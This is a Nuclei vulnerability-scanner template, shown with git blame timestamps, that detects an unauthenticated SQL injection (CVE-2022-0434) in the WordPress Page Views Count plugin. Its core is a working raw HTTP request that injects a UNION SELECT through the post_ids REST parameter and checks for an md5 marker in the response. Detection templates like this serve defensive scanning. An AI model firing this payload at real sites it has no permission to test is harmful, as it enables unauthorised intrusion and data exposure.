nuclei-templates/http/cves/2022/CVE-2022-0434.yaml

46 lines
1.5 KiB
YAML
Raw Normal View History

2022-09-29 11:51:03 +00:00
id: CVE-2022-0434
info:
name: WordPress Page Views Count <2.4.15 - SQL Injection
2022-09-29 11:51:03 +00:00
author: theamanrawat
2022-10-12 09:05:29 +00:00
severity: critical
2022-09-29 11:51:03 +00:00
description: |
WordPress Page Views Count plugin prior to 2.4.15 contains an unauthenticated SQL injection vulnerability. It does not sanitise and escape the post_ids parameter before using it in a SQL statement via a REST endpoint. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
2022-09-29 11:51:03 +00:00
reference:
- https://wpscan.com/vulnerability/be895016-7365-4ce4-a54f-f36d0ef2d6f1
- https://wordpress.org/plugins/page-views-count/
2022-10-12 09:05:29 +00:00
- https://nvd.nist.gov/vuln/detail/CVE-2022-0434
2022-09-29 11:51:03 +00:00
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
2022-09-29 11:51:03 +00:00
cve-id: CVE-2022-0434
cwe-id: CWE-89
2023-07-11 19:49:27 +00:00
epss-score: 0.02077
cpe: cpe:2.3:a:a3rev:page_view_count:*:*:*:*:*:wordpress:*:*
2022-09-29 11:51:03 +00:00
metadata:
max-request: 1
2023-06-04 08:13:42 +00:00
verified: true
2023-07-11 19:49:27 +00:00
framework: wordpress
vendor: a3rev
product: page_view_count
2022-10-12 09:05:29 +00:00
tags: cve,cve2022,wordpress,wp-plugin,wp,sqli,wpscan,unauth
variables:
num: "999999999"
2022-09-29 11:51:03 +00:00
http:
2022-09-29 11:51:03 +00:00
- raw:
- |
2022-10-12 09:05:29 +00:00
GET /?rest_route=/pvc/v1/increase/1&post_ids=0)%20union%20select%20md5({{num}}),null,null%20--%20g HTTP/1.1
2022-09-29 11:51:03 +00:00
Host: {{Hostname}}
matchers-condition: and
matchers:
2022-10-12 09:05:29 +00:00
- type: word
2022-09-29 11:51:03 +00:00
part: body
2022-10-12 09:05:29 +00:00
words:
- '{{md5(num)}}'
2022-09-29 11:51:03 +00:00
- type: status
status:
2022-10-12 09:05:29 +00:00
- 200